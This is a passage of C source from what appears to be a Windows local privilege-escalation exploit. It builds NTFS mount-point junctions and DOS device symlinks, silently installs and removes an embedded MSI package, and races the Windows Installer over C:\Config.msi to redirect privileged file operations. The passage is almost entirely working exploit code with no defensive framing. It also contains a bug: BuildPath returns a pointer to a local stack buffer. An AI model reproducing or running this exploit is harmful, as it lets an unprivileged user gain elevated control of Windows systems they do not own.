162 | BOOL CreateJunction(HANDLE hDir, LPCWSTR target) {
163 | HANDLE hJunction;
164 | DWORD cb;
165 | wchar_t printname[] = L"";
166 | if (hDir == INVALID_HANDLE_VALUE) {
167 | printf("[!] HANDLE invalid!\n");
168 | return FALSE;
169 | }
170 | SIZE_T TargetLen = wcslen(target) * sizeof(WCHAR);
171 | SIZE_T PrintnameLen = wcslen(printname) * sizeof(WCHAR);
172 | SIZE_T PathLen = TargetLen + PrintnameLen + 12;
173 | SIZE_T Totalsize = PathLen + (DWORD)(FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer));
174 | PREPARSE_DATA_BUFFER Data = (PREPARSE_DATA_BUFFER)malloc(Totalsize);
175 | Data->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
176 | Data->ReparseDataLength = PathLen;
177 | Data->Reserved = 0;
178 | Data->MountPointReparseBuffer.SubstituteNameOffset = 0;
179 | Data->MountPointReparseBuffer.SubstituteNameLength = TargetLen;
180 | memcpy(Data->MountPointReparseBuffer.PathBuffer, target, TargetLen + 2);
181 | Data->MountPointReparseBuffer.PrintNameOffset = (USHORT)(TargetLen + 2);
182 | Data->MountPointReparseBuffer.PrintNameLength = (USHORT)PrintnameLen;
183 | memcpy(Data->MountPointReparseBuffer.PathBuffer + wcslen(target) + 1, printname, PrintnameLen + 2);
184 | WCHAR dir[MAX_PATH] = { 0x0 };
185 | if (DeviceIoControl(hDir, FSCTL_SET_REPARSE_POINT, Data, Totalsize, NULL, 0, &cb, NULL) != 0)
186 | {
187 |
188 | GetFinalPathNameByHandle(hDir, dir, MAX_PATH, 0);
189 | printf("[+] Junction %ls -> %ls created!\n", dir, target);
190 | free(Data);
191 | return TRUE;
192 |
193 | }
194 | else
195 | {
196 |
197 | printf("[!] Error: %d. Exiting\n", GetLastError());
198 | free(Data);
199 | return FALSE;
200 | }
201 | }
202 | BOOL DeleteJunction(HANDLE handle) {
203 | REPARSE_GUID_DATA_BUFFER buffer = { 0 };
204 | BOOL ret;
205 | buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
206 | DWORD cb = 0;
207 | IO_STATUS_BLOCK io;
208 | if (handle == INVALID_HANDLE_VALUE) {
209 | printf("[!] HANDLE invalid!\n");
210 | return FALSE;
211 | }
212 | WCHAR dir[MAX_PATH] = { 0x0 };
213 | if (DeviceIoControl(handle, FSCTL_DELETE_REPARSE_POINT, &buffer, REPARSE_GUID_DATA_BUFFER_HEADER_SIZE, NULL, NULL, &cb, NULL)) {
214 | GetFinalPathNameByHandle(handle, dir, MAX_PATH, 0);
215 | printf("[+] Junction %ls deleted!\n", dir);
216 | return TRUE;
217 | }
218 | else
219 | {
220 | printf("[!] Error: %d.\n", GetLastError());
221 | return FALSE;
222 | }
223 | }
224 |
225 | BOOL DosDeviceSymLink(LPCWSTR object, LPCWSTR target) {
226 | if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, object, target)) {
227 | printf("[+] Symlink %ls -> %ls created!\n", object, target);
228 | return TRUE;
229 |
230 | }
231 | else
232 | {
233 | printf("error :%d\n", GetLastError());
234 | return FALSE;
235 |
236 | }
237 | }
238 |
239 | BOOL DelDosDeviceSymLink(LPCWSTR object, LPCWSTR target) {
240 | if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH | DDD_REMOVE_DEFINITION | DDD_EXACT_MATCH_ON_REMOVE, object, target)) {
241 | printf("[+] Symlink %ls -> %ls deleted!\n", object, target);
242 | return TRUE;
243 |
244 | }
245 | else
246 | {
247 | printf("error :%d\n", GetLastError());
248 | return FALSE;
249 |
250 |
251 | }
252 | }
253 | HANDLE myCreateDirectory(LPWSTR file, DWORD access, DWORD share, DWORD dispostion) {
254 | UNICODE_STRING ufile;
255 | HANDLE hDir;
256 | pRtlInitUnicodeString(&ufile, file);
257 | OBJECT_ATTRIBUTES oa = { 0 };
258 | IO_STATUS_BLOCK io = { 0 };
259 | InitializeObjectAttributes(&oa, &ufile, OBJ_CASE_INSENSITIVE, NULL, NULL);
260 |
261 | retcode = pNtCreateFile(&hDir, access, &oa, &io, NULL, FILE_ATTRIBUTE_NORMAL, share, dispostion, FILE_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT, NULL, NULL);
262 |
263 | if (!NT_SUCCESS(retcode)) {
264 | return NULL;
265 | }
266 | return hDir;
267 | }
268 | void cb1() {
269 |
270 | SetThreadPriority(GetCurrentThread(), REALTIME_PRIORITY_CLASS);
271 | Move(hFile);
272 |
273 | //loop until the directory found
274 | CreateThread(NULL, NULL, install, NULL, NULL, NULL);
275 | HANDLE hd;
276 | do {
277 | hd = myCreateDirectory(BuildPath(L"C:\\Config.msi"), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN);
278 | } while (!hd);
279 | do {
280 | CloseHandle(hd);
281 | hd = myCreateDirectory(BuildPath(L"C:\\Config.msi"), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN);
282 | } while (hd);
283 | CloseHandle(hd);
284 | do {
285 | hd = myCreateDirectory(BuildPath(L"C:\\Config.msi"), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN);
286 |
287 | CloseHandle(hd);
288 | } while (retcode != 0xC0000022);
289 |
290 | }
291 | DWORD WINAPI install(void*) {
292 | HMODULE hm = GetModuleHandle(NULL);
293 | HRSRC res = FindResource(hm, MAKEINTRESOURCE(IDR_MSI1), L"msi");
294 | wchar_t msipackage[MAX_PATH] = { 0x0 };
295 | GetTempFileName(L"C:\\windows\\temp\\", L"MSI", 0, msipackage);
296 | printf("[*] MSI file: %ls\n", msipackage);
297 | DWORD MsiSize = SizeofResource(hm, res);
298 | void* MsiBuff = LoadResource(hm, res);
299 | HANDLE pkg = CreateFile(msipackage, GENERIC_WRITE | WRITE_DAC, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
300 | WriteFile(pkg, MsiBuff, MsiSize, NULL, NULL);
301 | CloseHandle(pkg);
302 | MsiSetInternalUI(INSTALLUILEVEL_NONE, NULL);
303 | UINT a = MsiInstallProduct(msipackage, L"ACTION=INSTALL");
304 | MsiInstallProduct(msipackage, L"REMOVE=ALL");
305 | DeleteFile(msipackage);
306 | return 0;
307 | }
308 | VOID Fail() {
309 | Sleep(5000);
310 | printf("[!] Race condtion failed!\n");
311 | DeleteJunction(hDir);
312 | DelDosDeviceSymLink(object, BuildPath(target));
313 | exit(1);
314 | }
315 | LPWSTR BuildPath(LPCWSTR path) {
316 | wchar_t ntpath[MAX_PATH];
317 | swprintf(ntpath, L"\\??\\%s", path);
318 | return ntpath;
319 | }
--------------------------------------------------------------------------------